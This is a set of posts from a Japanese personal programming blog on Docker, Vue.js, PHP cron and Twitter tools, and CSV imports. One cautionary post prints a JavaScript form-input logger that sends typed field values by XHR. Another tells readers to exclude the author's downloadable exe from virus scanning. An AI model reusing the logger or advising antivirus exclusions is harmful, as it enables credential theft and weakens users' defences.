QiitaのCLIで思うことは一つだけ。

2023.08.10

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おはようございます、QiitaのCLIのベータ版がリリースされてから少し時間が経ちましたが、まだ試せてはいないものの、これは大量に記事をUPする人には適しているように思えます。

自分としてはマークダウンファイルをアップロードをGUIで付けて欲しいなって思っています、そうすればCLIの設定ができない人でもお手軽にGithubやGitLabのREADMEをUPすることなどが可能かなと思っています。

そのうち、そういう機能も追加されると思います。Qiitaはどこまで作り込むのだろうか?ユーザーさんのご意見等も取り入れながら機能の追加などをされていると思いますが、そろそろ基本的なところは完成形になっているような気がします。

そして生成AIにより恐らくQiitaもアクセス数は以前より減ったのではないでしょうか?そう思うと新たな収入源をQiitaの中の人は模索しているのかも知れません。

プラットフォームとサーバーの話。

プラットフォームは認知されひとが集まりだしたら強いですよねぇ。ひとが集まりだしたら普通のサーバーでは捌き切れなくなるのでどうしてもAWSなどに移行しないといけないと思いますが、最初はVPSなどで初めて人を集客出来たら、移行するというのがベストかなって思っています。特に個人で開発しているものをAWSで運用しても恐らくサーバー費が嵩んでマイナスになると思うので、最初は小さく初めて上手くいきそうだったら、変更していくというのがベストだと思います。

そういう訳もあり近々、あるWEBサービスを今のサーバーから切り離そうと思っています、いつ頃になるかは未定ですが、そういう思案があります。そのあるWEBサービス、ほっといても集客出来だしたので正直不安ですね(・・;)。

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AWS, cli, github, gitlab, GUI, qiita, README, VPS, いつ頃, うち, サーバー, サーバー費, ひと, プラットフォーム, ベータ版, マークダウンファイル, 収入源, 思案, 生成AI, ,

DockerでWEB開発するならXdebugを最初に入れとこうの巻。

2023.07.16

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おはようございます、DockerでWEB開発するならXdebugを最初に入れとこうの巻。これを途中で入れるということは環境を元に戻すことに繋がるので大変です。特にGitLabやGitHubなどを使用している場合は尚更かと思います、面倒なんですね途中からXdebugを入れるのは本当に。

自分のようにならないように最初からXdebugは入れておく方が大事です、あと開発に使用するポートも事前に聞くべしです。あとからDockerにポート開放は出来ないらしいので大事になります。

ladybug plastic toy
Photo by Mike Bird on Pexels.com

今では枯れた技術になるかもしれない、 VirtualBoxの方がそういう面では後から修正しやすいかと思います。Dockerは独特なのか分かりませんが後からポート開放ダメ、またVScodeで検証するためにはDocker独自に設定をしないといけないので、ポート開放してphp.iniの設定してVscodeでさてトレースとはいかないのです。

DockerのXdebug.iniみたいなのを設定しないと使用できない仕様になっています。因みに今、新たなymlファイルとDockerFileを作ろうとしています。毎回、yumでインストールしている部分があるのでそれをDockerFileで行おうと思っています。

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ワードプレスのchatGPT-APIを使ったプラグイン #chatGPT

2023.06.28

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おはようございます、ワードプレスのchatGPT-APIを使ったプラグインを作りました。1つ目は日本語記事を英語に翻訳してUPするプラグインです、このプラグインは公開時に一回だけ英語に変換されます。その後手直しが可能です。これからは日本語で記事を書いて英語化されたものを公開するとグローバルに記事を見ていただけるかなって思って作ったのですがどうなんでしょうね?

もう一つ目は、一週間分の記事を単語から連想して記事を自動で書いてくれるといったちょっと問題作のプラグインです。これで記事を書くことから開放されます。記事はすべて予約投稿になります。記事を直したい場合は編集画面で手動で記事を直してください。

両方ともGitHubとQiitaでソースコードを公開しています、ご自由にご使用ください。なお転売禁止します。

こちらのリンクからソースコードは参照できます。

日本語記事を英語に翻訳するプラグイン

単語から連想して記事を自動作成するプラグイン

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chatGPT-API, github, qiita, すべて予約投稿, ソースコード, プラグイン, リンク, ワードプレス, 両方, 公開時, 単語, 問題作, 手動, 手直し, 日本語, 日本語記事, 編集画面, 英語, 英語化, 転売,

過去のリモートワークと違うところ。 #IT開発

2023.01.22

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おはようございます、日曜日の朝。明日は仕事。

さて、今日は過去のリモートワークと違うところを書いていきます。自分は過去にリモートワークを2回経験しています。今回で3回目のリモートワークを行なっています。過去のリモートワークとの違いはgitというバージョン管理を使っているということ、そしてソースレビューがあるという事です。

What is GitHub?

今までのリモートワークはレビューもなく、一人称で完結という事でしたが一般的なIT企業に巡り合うことが出来たと思っています。因みに、gitのコミットやプッシュ、プル、マージなどは何となく出来ていたのですが、まだ慣れない事が幾分あります。

実践で出来ないことは、自分でgithubやgitlabにアカウントを開設してどういう振る舞いになるのか、試すことが一番良いかなと思っています。

因みにgitの練習を行い方はこういうサイトもありますので試してみてはいかがでしょうか?

https://learngitbranching.js.org/?NODEMO=&locale=ja

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git, github, gitlab, it企業, ja, locale, アカウント, コミット, ソースレビュー, バージョン管理, プッシュ, プル, マージ, リモートワーク, レビュー, 一人称, 完結, 実践, 日曜日, 練習,

vue.jsの学習をはじめて思うこと。 #参考書

2022.12.29

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おはようございます、今年もあと少しですね😳。

先日からvue.jsの学習をしているのですが、参考書の8割方のアウトプットが出来ましたがですが、正直なところ、基礎概念がわかったぐらいの物でテクニックが記載されているという感じではない本、そういう印象を持っていますが、あと2割に極上のテクニックが記載されているかも知れません。

自分が買った本はこれです。

こんなデザイン表紙になっています、本のタイトル名は過去の記事に記載していますので、そちらを参照くださいませ🙇。

因みにいまVue.jsのコンポーネントを勉強しています。コンポーネントの使い方は分かったのですが、正直な所、JavaScriptを初めて勉強した方からするとハードルは結構高いじゃないかなと思います。こういう様になるんだという考えで進めていくべしですね。何故ならフレームワークの中身を知ろうとするとかなり難解なので、こういうルールがあるだよと思った方が良いです。

最後に自分のGitHubに参考書を基にしたサンプルコードをUPしていますので、良かったら参照ください。

        Vue.component('ore',{
            data:function(){
                return {
                    oreore:''
                }
            },
            mounted:function(){
                this.oreore = ' https://taoka-toshiaki.com';
            },
            template:'<h1>taoka toshiaki {{ oreore }}</h1>',
        });
        let app = new Vue({
            el:'#app',
        });

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laravelの次はvue.jsとTypeScript。 #Vue

2022.12.28

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おはようございます、予約投稿を忘れていま書いています😅。

先日までLaravel入門書で再学習をしていましたが、昨日の夕方からvue.jsとTypeScriptなどのお勉強をしています。参考にしている本は「これからはじめる人のJavaScript/Vue.jsの教科書」という本です。

昨日、ペラペラと本を読みつつ進めていたのですが、JavaScriptの基本的な部分は自分は大丈夫ぽっいので、今日からTypeScriptの学習へ入り数日でVue.jsへ進めそうな気がします。

年末年始なので、時間配分が難しいので、正月はお酒を飲みつつ学習するとかあるかもですが、基本的な入門書をサクサクっと進めていきたいと思います。

尚、学習している内容はGithubにアップしていってます😄。

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github, javascript, Laravel入門書, TypeScript, vue.js, お酒, 予約投稿, 入門書, 内容, 再学習, 参考, 夕方, 学習, 年末年始, 教科書, 時間配分, , 正月, 部分,

制限付きのクロンを無限寿限無にする方法。 #php #無限 #cron

2022.10.12

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おはようございます🦏。昔の文章を読んでくれて今の記事を読まないユーザーさんがいます、凹む😖。

さて、今日はさくらレンタルサーバーでcronを制限以上に使う方法を数年前に書いた記事が未だに読まれたりするのでプログラムコードを直してタイトルも直してQiitaGithubにUPしました。

そのUPした記事があまりアクセスが跳ねなくて少しがっくりしたのがスポーツの日の朝の事です。Qiitaは何だか触りの記事かとても専門性の高い記事が人気を集めるだなって事を、この頃理解したのですが、自分は何方にも寄っていない記事なので跳ねないのかも知れません。

ソースコード貼り付けて置きます。尚、使い方などはQiitaGithubを参照してください。

<?php
date_default_timezone_set('Asia/Tokyo');
class cron
{
    public function __construct(mixed $filepath = "")
    {
        $val = @file_get_contents($this->pval($filepath));
        $obj_ = @json_decode($this->pval($val));
        $obj = (object)[];
        foreach ($obj_ as $key => $value) {
            $obj->name = "month";
            $obj->val = $value->m;
            if ($flg = $this->trigger_check($obj,"m",1,12)) {
                $obj->name = "day";
                $obj->val = $value->d;
                if ($flg = $this->trigger_check($obj,"d",1,31)) {
                    $obj->name = "hour";
                    $obj->val = $value->H;
                    if ($flg = $this->trigger_check($obj,"H",0,23)) {
                        $obj->name = "minutes";
                        $obj->val = $value->i;
                        if ($flg = $this->trigger_check($obj,"i",0,59)) {
                            $obj->name = "week";
                            $obj->val = implode(",", $value->w);
                            if ($flg = $this->trigger_check($obj,"w",0,0)) {
                                $this->command($value->command);
                            }
                        }
                    }
                }
            }
        }
    }
    public function command(mixed $command_val = "")
    {
        $command_val = $this->pval($command_val);
        exec($command_val . " > /dev/null &");
        // print "よろしくお願いします~~~!!".PHP_EOL;
        return true;
    }

    public function pval(mixed $val = "")
    {
        if (is_array($val)) {
            foreach ($val as $key => $value) {
                $val[$key] = strip_tags($value);
            }
        } else {
            $val = strip_tags($val);
        }
        return $val;
    }

    public function trigger_check(mixed $variable = "",mixed $d="",int $min=0 ,int $max=0)
    {
        if (!$variable) return false;
        if ($variable->val === "*") return true;
        switch ($variable->name) {
            case 'week':
                $value = @explode(",", $variable->val);
                return (int)$value[(int)date($d)] === 1 ? true : false;
                break;
            default:
                if (preg_match("/^(\*\/[0-9]{1,})$/", $variable->val)) {
                    $value = @explode("*/", $variable->val)[1];
                    if (is_numeric($value) && $value >= $min && $value <= $max) {
                        return (int)date($d) % $value === 0 ? true : false;
                    }
                }
                if (preg_match("/^([0-9]{1,}\,{1,})/", $variable->val)) {
                    $value = @explode(",", $variable->val);
                    $value = array_map('intval', $value);
                    return in_array((int)date($d), $value, true) === true ? true : false;
                }

                $value = (int)$variable->val;
                if (is_numeric($value) && $value >= $min && $value <= $max) {
                    return $value === (int)date($d) ? true : false;
                }
                return false;
                break;
        }
        return false;
    }
}

if($argv[1]){
    //argv
    new cron($argv[1]);
}


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数珠繋ぎのツイートシステムに予約機能を付けました😂 #php #code

2022.10.07

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おはようございます、偏頭痛持ちは雨が降るが一番大変です☔。

先日、数珠繋ぎのツイートシステムを作ったのですが、そのシステムに予約機能を付けました。尚、TwitterAPIのバージョン2でスケジュールのパラメーターが今のところ無いですね。これから先、機能が付くかも知れないですが今のところ無いようです。因みにソースコードは近日中にQiitaGithubにUPします。此処ではソースコードの一部を掲載します(※記事を更新しました下へスクロール🫠)。

Twitter API v2 ツイート数珠繋ぎ

尚、crontabでPHPファイルを叩くようにしています、あと注意事項ですが予約を一度した投稿については変更等は出来ません、編集機能等の機能追加の予定はないです。また、予約管理はsqlite3を使用して管理しています。

<?php
date_default_timezone_set('Asia/Tokyo');
ini_set("display_errors",0);
require_once "./data/tw-config-v2.php";
require_once "../vendor/autoload.php";

use Abraham\TwitterOAuth\TwitterOAuth;

class tw
{
    var $connection = null;
    var $pdo = null;
    function __construct()
    {
        $this->connection = new TwitterOAuth(APIKEY, APISECRET, ACCESSTOKEN, ACCESSTOKENSECRET);
        $this->connection->setApiVersion("2");
    }
    function db_connection()
    {
        try {
            //code...
            $res = $this->pdo = new PDO("sqlite:./data/tw-tweets-db.sqlite3");
        } catch (\Throwable $th) {
            //throw $th;
            //print $th->getMessage();
            $res = false;
        }
        return $res;
    }

    function timecheck($timeonoff, $times)
    {
        if (!$timeonoff) return true;
        $n = new DateTime();
        $t = new DateTime($times);
        return $t <= $n ? true : false;
    }

    function pickup_tweets(mixed $tw_text = null, int $timeonoff = 0, mixed $times = null, string $id = "")
    {
        if (!$times) return false;
        $obj = (object)[];
        $times = preg_replace("/\-/", "/", $times);
        $times = preg_replace("/T/", " ", $times);

        if ($this->timecheck($timeonoff, $times)) {
            if (isset($tw_text) && is_array($tw_text)) {
                foreach ($tw_text as $key => $value) {
                    if (preg_replace("/[ | ]/", "", $value)) {
                        $obj = !$key ? ($this->connection->post("tweets", ["text" => $value], true)
                        ) : ($this->connection->post("tweets", ["reply" => ["in_reply_to_tweet_id" => $obj->data->id], "text" => $value], true)
                        );
                    }
                }
                return true;
            }
        } else {
            return $timeonoff ? $this->save_sqlite($tw_text, $timeonoff, $times, $id): true;
        }
    }

    function save_sqlite($tw_text = null, int $timeonoff = 0, mixed $times = null, string $id = "")
    {
        if ($this->db_connection()) {
            try {
                //code...
                if (isset($tw_text) && is_array($tw_text)) {
                    foreach ($tw_text as $key => &$value) {
                        if (preg_replace("/[ | ]/", "", $value)) {
                            $stmt = $this->pdo->prepare("insert into tweets (tw_id,user,times,tw_text)values(:tw_id,:user,:times,:tw_text)");
                            $stmt->bindValue(":tw_id", $key, PDO::PARAM_INT);
                            $stmt->bindValue(":user", $id, PDO::PARAM_STR);
                            $stmt->bindValue(":times", $times, PDO::PARAM_STR);
                            $stmt->bindValue(":tw_text", $value, PDO::PARAM_STR);
                            $stmt->execute();
                        }
                    }
                }
                $this->pdo = null;
                return true;
            } catch (\Throwable $th) {
                //throw $th;
                return false;
            }
        }
    }
    function tweets_load(string $id = "")
    {
        if (!$id) return false;
        try {
            //code...
            $value = null;
            if ($this->db_connection()) {
                $stmt = $this->pdo->prepare("select * from tweets where user = :user order by times,tw_id asc;");
                $stmt->bindValue(":user", $id, PDO::PARAM_STR);
                $res = $stmt->execute();
                $value = $res ? $stmt->fetchAll() : false;
                $this->pdo = null;
            }
            return $value;            
        } catch (\Throwable $th) {
            //throw $th;
            return false;
        }
    }
    function tweets_update(int $key = 0, int $timeonoff = 0, mixed $times = null, string $id = "",mixed $tw_text="")
    {
        try {
            //code...
            if(!preg_replace("/[ | ]{0,}/","",$tw_text))return false;
            if ($this->db_connection()) {
                $stmt = $this->pdo->prepare("update tweets set tw_text = :tw_text where tw_id = :tw_id and user = :user and times = :times");
                $stmt->bindValue(":tw_id", $key, PDO::PARAM_INT);
                $stmt->bindValue(":user", $id, PDO::PARAM_STR);
                $stmt->bindValue(":times", $times, PDO::PARAM_STR);
                $stmt->bindValue(":tw_text", $tw_text, PDO::PARAM_STR);
                $stmt->execute();
                $this->pdo = null;
            }
        } catch (\Throwable $th) {
            //throw $th;
            return false;
        }
        return true;

    }

    function tweets_delete(int $key = 0, int $timeonoff = 0, mixed $times = null, string $id = "")
    {
        try {
            //code...
            if ($this->db_connection()) {
                $stmt = $this->pdo->prepare("delete from tweets where tw_id = :tw_id and user = :user and times = :times");
                $stmt->bindValue(":tw_id", $key, PDO::PARAM_INT);
                $stmt->bindValue(":user", $id, PDO::PARAM_STR);
                $stmt->bindValue(":times", $times, PDO::PARAM_STR);
                $stmt->execute();
                $this->pdo = null;
            }
        } catch (\Throwable $th) {
            //throw $th;
            return false;
        }
        return true;
    }

    function bat_tweets(mixed $value = null)
    {
        if (!$value) return false;
        $obj = (object)[];
        $t = "";
        foreach ($value as $key => $val) {
            if ($this->timecheck(1, $val["times"])) {
                $obj = ($val["times"]<>$t)? ($this->connection->post("tweets", ["text" => $val["tw_text"]], true)
                ) : ($this->connection->post("tweets", ["reply" => ["in_reply_to_tweet_id" => $obj->data->id], "text" => $val["tw_text"]], true)
                );
                $this->tweets_delete($val["tw_id"], 1, $val["times"], $val["user"]);
                $t = $val["times"];
            } else {
              //  var_dump($val);
              //  break;
            }
        }
    }
}

if ($argv[0]) {
    $tw = new tw();
    $value = $tw->tweets_load(xss_d($argv[1]));
    $tw->bat_tweets($value);
}
function xss_d($val = false)
{
    if (is_array($val)) {
        foreach ($val as $key => $value) {
            $val[$key]  = strip_tags($value);
            $val[$key]  = htmlspecialchars($val[$key]);
        }
    } else {
        $val  = strip_tags($val);
        $val  = htmlspecialchars($val);
    }
    return $val;
}

追記:予約編集機能なども付けました🙄。

GithubとQittaのリンクはこちらです。
Github:https://github.com/taoka-toshiaki/tweets-system-box1
Qitta:https://qiita.com/taoka-toshiaki/items/5ef12b60b267742bf584

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1万件のCSVを読み込みテーブルに保存する雛形コード #PHPCode

2022.09.08

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おはようございます、徐々に秋ぽっい日差しになってきましたね(まだ暑いけども😌)。

今日は、1万件のCSVを読み込みテーブルに保存する雛形コードを昨日、ちょちょっと書きましたので記載します。ファイルをダウンロードして使いたい方はGithubのリンクを下に貼っときますので、ご使用頂けたらと思います。尚、テーブルなどはCSVを参考にご自身で構えてください。

※動作環境はPHP8系です、なのでPHP7系では一部エラーが出ます。fgetcsv…nullを0へ変更。

Githubのリンクはこちら

Qiitaの方に記載しようかどうしようか、迷ったのですが第一弾目がアクセス数がそこそこ伸びたのでこれ以上、注目されるのは嫌なのでブログの方に記載しました。1万件のCSVを簡単に読み込ませる方法はPHPコードを書くのではなく、SQLのコマンドで実行した方が実は早いですけど・・・。

有言実行

早いですけど、その場合、CSVがちゃんとしたファイルではないと上手くテーブルに保存されない場合や、そもそもコマンドラインで操作出来ない場合もあったりしてPHPコードなどで制御しないと駄目な事もあります。そんな時に、このコードをサンプルとして使って頂ければ良いなと思い作りました。

1万件のCSVを読み込ませるPHPコード雛形。

そんなにコードを書かなくてもまぁ動くんですよ。ちなみにソースコードには、あまりコメントを書いていないですが、プログラマーなら大体の人が理解できるレベルかと思います。

<?php
//ini_set("display_errors","On");
session_start();
require "db_config.php";

//読み込みCSVファイル名セット
class csv
{
    /**
     * @param string $filename
     * @param int $cnt
     * @return Object
     */
    public function ini_csv($filename = "", $cnt = 0)
    {
        return new csv_read($filename, $cnt);
    }
}

//CSVデータを読み込ます
class csv_read
{
    var $max = 10000;
    var $cnt = 0;
    var $handle = null;
    /**
     * @param string $filename
     * @param int $cnt
     */
    public function __construct($filename = "", $cnt = 0)
    {
        $this->cnt = $cnt;
        $this->handle =  fopen($filename, "r");
        $_SESSION["offset"] ? fseek($this->handle, $_SESSION["offset"]) : $this->handle;
    }
    /**
     * @param int $header_skip
     * @return Object
     */
    public function reader($header_skip = 0)
    {
        if ($this->handle !== FALSE) {
            $response = null;
            $data = fgetcsv($this->handle, null, ",");
            if (!$header_skip || $_SESSION["offset"]) {
                if ($data !== FALSE) {
                    $_SESSION["offset"] = ftell($this->handle);
                    $response["data"] = $data;
                    $response["cnt"] = $this->cnt > $this->max ? 0 : ($this->cnt + 1);
                    $flag = true;
                } else {
                    $_SESSION["offset"] = null;
                    $flag = false;
                }
            } else {
                $_SESSION["offset"] = ftell($this->handle);
                $response["cnt"] = $this->cnt > $this->max ? 0 : ($this->cnt + 1);
                $flag = false;
            }
        } else {
            $_SESSION["offset"] = null;
            $flag = false;
        }
        return new table_save($flag, $response);
    }
}

//tableにCSVデータを保存
class table_save
{
    var $flag = false;
    var $result = null;
    /**
     * @param boolean $flag
     * @param array  $response
     * @return void
     */
    public function __construct($flag, $response)
    {
        $this->flag = $flag;
        $this->result = $response;
        $this->column_name = "name,,...";
    }
    /**
     * @param string  $column_name
     * @return void
     */
    public function tbl_save($column_name = "")
    {
        if ($this->flag) {
            $column = $column_name ? $column_name : $this->column_name;
            $is_column = explode(",", $column);
            foreach ($is_column as $key => $val) {
                $is_value[$val] = $this->result["data"][$key];
            }
            try {
                $pdo = new PDO(DSN, USERNAME, PASSWORD);
                $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
                $sql = (function ($is_column) {
                    $INSERTFIRST = null;
                    $INSERTLAST = null;
                    foreach ($is_column as $key => $val) {
                        $INSERTFIRST[] = "$val";
                        $INSERTLAST[] = ":$val";
                    }
                    $INSERTSQL = "(" . implode(",", $INSERTFIRST) . ")values(" . implode(",", $INSERTLAST) . ")";
                    $UPDATESQL = null;
                    foreach ($is_column as $key => $val) {
                        $UPDATESQL[] = "$val = :$val";
                    }
                    return "INSERT INTO " . TABLENAME . $INSERTSQL . " ON DUPLICATE KEY UPDATE " . implode(",", $UPDATESQL) . ";";
                })($is_column);

                $stmt = $pdo->prepare($sql);
                foreach ($is_value as $key => &$value) {
                    $is_type = ($key === "test3" || $key === "test13") ? PDO::PARAM_INT : PDO::PARAM_STR;
                    $stmt->bindValue(":$key", $value, $is_type);
                }
                $this->result["sql"] = $stmt->execute();
            } catch (\Throwable $th) {
                //throw $th;
                $this->result = null;
                print $th->getMessage();
            }
        }
        print json_encode($this->result);
    }
}

//RUN...POST DATA
if (isset($_POST["csrf_token"])  && d_xss($_POST["csrf_token"]) === $_SESSION['csrf_token']) {

    $_SESSION["offset"] = (int)d_xss($_POST["reset_flag"]) === 1 ? null : d_xss($_SESSION["offset"]);
    $filename = d_xss($_POST["filename"]);
    $cnt = (int)d_xss($_POST["cnt"]);

    $column_name = "test1,test2,test3,test4,test5,test6,test7,test8,test9,test10,test11,test12,test13,test14,test15";
    $header_skip = 1;

    $csv = new csv();
    $csv->ini_csv($filename, $cnt)->reader($header_skip)->tbl_save($column_name);
    $csv = null;
} else {
    print "";
}
function d_xss($data){
    $data = strip_tags($data);
    $data = htmlspecialchars($data,ENT_QUOTES);
    return $data;
}
<?php
 // ログインした状態と同等にするためセッションを開始します
 session_start();
 // 暗号学的的に安全なランダムなバイナリを生成し、それを16進数に変換することでASCII文字列に変換します
  $toke_byte = openssl_random_pseudo_bytes(16);
  $csrf_token = bin2hex($toke_byte);
  // 生成したトークンをセッションに保存します
  $_SESSION['csrf_token'] = $csrf_token;
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="Description" content="Enter your description here"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
<title>CSV</title>
</head>
<body>
    <input type="hidden" name="csrf_token" value="<?=$csrf_token?>">
    <span class="h3" id="cnt"></span><br><br>
    <span class="h4" id="read_csv"></span><br><br>
    <span class="h4" id="debug"></span><br><br>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.1/umd/popper.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js"></script>
<script>
    window.onload = function(){
        read_csv(0,1);
    };
    function read_csv(cnt,reset_flag){
        try{
            $.ajax({
            type: "post",
            url: "./assets/php/class_csv.php",
            async: false,
            data: {csrf_token:document.getElementsByName("csrf_token")[0].value,reset_flag:reset_flag,filename:"dummy.csv",cnt:cnt},
            dataType: "json",
            success: function (response) {
                    if(response){
                        cnt = response.cnt;
                        document.getElementById("cnt").innerText = cnt;
                        if(response.data){
                            document.getElementById("read_csv").innerText = response.data[0] + response.sql;
                            document.getElementById("debug").innerText = cnt ===21?response.data:document.getElementById("debug").innerText;
                        }
                        setTimeout(function(){read_csv(cnt)},0);
                    }
                }
            });
        }catch(e){
            console.warn(e);
            read_csv(cnt);
        }
    }
</script>
</body>
</html>

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尺が短いものが好まれる時代、分かった気になる情報😇。

2022.08.04

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おはようございます、Githubのマルウェアが気になって早朝に情報をチェックしていました。

さて、今の時代、尺が短いものが好まれる時代、分かった気になる情報が世の中に受け入れやすくなっているような気がします。敢えて分厚い本、難解な動画、長文のブログを読むという事をオススメします。短い情報をいろいろな所から収集するよりもニッチな専門家が情報発信しているものを読む方が大事になるじゃないかな。

短い情報は表面上、分かった気になるけど結局、ツマミ部分だけでそのつまみ食いばかりしても中身に到達できないという本末転倒なところがあるじゃないかと思います。なので、それとは反したものが大事じゃないかってね。

【綾部祐二】Interview-Day2(Day1~Day5)
結局のところ努力次第

今からYOUTUBERになろうとしている方でかなり専門知識を持ち合わせている方は短い動画を作るより、長くて上質な情報を流す方が良いじゃないかなって思います。それは殆どの人は見ないだろうけど価値の分かる人には届くと思います。

短いものは消費されて捨てられる可能性がある、それは一瞬の輝きでしか無い気がしてならないです。お手軽な消費されるものを作るよりかは独自性のあるものを作る方が良いと思います。

努力しないで得れるものはないだと思います。地味だけど毎日の勉強が大事です、いろいろな最短勉強方法が巷に溢れているけど、やる気と努力しか他ならないし手を動かしてたり行動して失敗したりして覚えるしか無いだよね。泥臭い事をしている人の方が社会を支えていたりするものです。

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悪意になるコードそうだよねぇ~オープンソース怖い。

2022.06.01

Logging

おはようございます。6月が始まりました。

今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。

【ハッキング入門】キーロギングの仕組み IDとパスワードの取得方法【悪用厳禁】

こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。

コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。

気をつけてくださいな😎

(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}
その発想ない事もない。

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ディープフェイク作り方のヒント的な記事です。悪用厳禁。

2022.05.30

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おはようございます。悪用厳禁、悪用禁止と言っても駄目な気がします。

ディープフェイク作り方のヒント的な記事です、先に答えからfaceswapというツールを使用すれば簡単にディープフェイクの動画は作れてしまいます。これ無料ですからね・・・。

Jennifer Lawrence-Buscemi on her favorite housewives [Deepfake]

本当に凄い時代になったんだなぁって思います。

faceswapのインストール仕方はGさんなどを使用して検索してみてください。あとデベロッパー向けにgithubでも提供されていますので開発者はどんなコードか覗いてみる良いかも知れません。

これからの時代、顔を写真なんかを気軽にUPするのは怖いなって思います、特に女性の方々は注意が必要です、男性も同じですが、、、。

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faceswap, github, UP, インストール, コード, これ, ツール, ディープ, デベロッパー, ヒント, フェイク, 仕方, 作り方, 使用, 写真, 動画, 厳禁, 女性, 必要, 悪用, 提供, 方々, 時代, 本当, 検索, , 注意, 無料, 男性, 禁止, 簡単, 記事, 開発者, , 駄目,

仮想通貨で自動売買するシステムはAPI知ってたら

2022.04.10

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仮想通貨で自動売買するシステムはAPI考え方知ってたら大体の人が作れるのですが、問題は取引で儲けを出せるかどうかです。そのためにはダミー取引をシステムで作ることから、オススメします😂。

いきなりAPIを取引所で走らせるのはリスクが高いです、ですのでまずは本当に取引はしないで、ダミーで売買をするシステムを作ることからはじめてください。そこで利益が一定指数のあれば実際に取引してみるというのが一番、安全な取引方法かなって思っております。

尚、エンジニアの横山さんがコインチェックのダミー取引のAPIをGithubで公開しています。これでダミー取引部分は作らなくても良くなったと思います。

あとはご自身が取引部分を作るとダミー取引が出来るのでとても便利かと思います。尚、バックテストの部分も自分で作りたい場合は、CryptowatchのAPIを使用することで簡単に過去の取引を収集できるので便利かと思います。

こんな事をしないで、仮想通貨取引所がバックテスト環境も対応してくれたら良いのですがね😌。

因みに自分はまだ自動売買の取引はしていません、いまは自動売買の開発に向けて調査中ってぐらいです。

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素晴らしいコードに出会うという事はとても大事ですよね。夜も眠れません😏

2022.03.22

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おはよう御座います。
素晴らしい世界を聴きながら。

プログラマーにとって技術力を上げるのは多分、向上心があるからだと思います。

さてプログラミングをするにあたって素晴らしいコードに出会うという事はとても大事です。素晴らしいプログラマーをフォローして終わりにしていませんか、彼ら彼女たちのgithubなどを見てみてください。素晴らしいコードに必ず出会います。最初は何を書いているのかわからない事もあるかもしれませんが、その技術を理解すればするほど、これは美しくて素晴らしいコードだという事が理解できるはずです。

森山直太朗‐素晴らしい世界 Music Video

プログラミングは書けば書くほど、上達するというよりはシンプルで無駄のないような方法を見つけ出す思考身につけると上達するという事だと自分は思っています。闇雲に書くだけではそのコードを書く技術力は上がらないと思います。世の中には強者がゴロゴロといます。それらのコードから技術を習得するのが一番の手っ取り早い技術力の上げ方かと思います。そしてそのベースとなるのは基礎が身についているかどうかだと思っています。

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githubの複数アカウントをWindowsで切り替えするbatファイルとexeファイルです。

2022.02.23

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おはよう御座います。今日もあまり日中も気温が上がらないそうです😪。
フルリモートで働く人が多くなってきていますよね、そんな中、githubを仕事用と個人用と分けたい人が多いとかと思いますが、そんな人向けにツールを作りましたので紹介します。

GitHub Arctic Code Vault

githubの複数アカウントをWindowsで切り替えするbatファイルとexeファイルを作りましたので、お裾分けです、どこかのサイトにgithubのアカウントを切り替えるシェルスクリプトが記載していたのですが、自分はWindowsユーザーなのでそれ使えねぇーという事で作りました。

自分用なので、エラー取りはしていません、最低限の処理しか書いていないです。exeファイルの方はzipファイルにしてサーバに置いときます、尚、ご自身の良いような感じでgitdata.datファイルの中身を書き換えてください。考え方はbatファイルと同じです。

batファイルの方はこちらに記載しますので、ご自身でbatファイルを作成してください。尚、Windowsが開発環境になっていない、gitが環境変数に登録されていない場合は動きませんので悪しからず。必ず起動するときはコマンドからパラメーター投げて使ってください。

@echo off
if %1==main (
	git config --global user.name "example"
	git config --global user.email "mail@example.com"
)
if %1==sub (
	git config --global user.name "test"
	git config --global user.email "mail@test.com"
)
git config user.name
git config user.email

exeファイルの注意事項、PowerShellでもcmd.exeでも開けますが必ずgit-name.exeファイルが存在するディレクトリに移動してexeファイルをパラメーター付きで実行してください。

./git-name.exe main
main <==パラメーター
example <==githubのユーザー名
mail@example.com <==githubのメールアドレス

exeファイルのtoolはこちらからダウンロードしてください。
※尚、ウィルススキャン対象になった場合は対象から外してお使いください。

https://zip358.com/tool/git-name.zip

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Bat, dat, exe, gitdata, github, Windows, zip, アカウント, エラー, お裾分け, ご自身, サーバ, サイト, シェル, スクリプト, それ, ツール, どこか, ファイル, プル, ユーザー, リモート, , 中身, , , 今日, 仕事, 個人, 処理, 感じ, , 日中, 最低限, 気温, 紹介, 考え方, 自分, 複数, 記載,

コードを見れば大体の技術レベルが分かるは本当?しかも、性格も分かる場合がある。

2022.02.07

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おはようございます。今日の朝も寒いですね。。。

朝からcode.orgの動画を見ていたら日本もアメリカもITエンジニアの割合はあまり変わりないみたいな事を知りました、そしてアメリカでも子供たちのなりたい職業1位でもないみたいです。

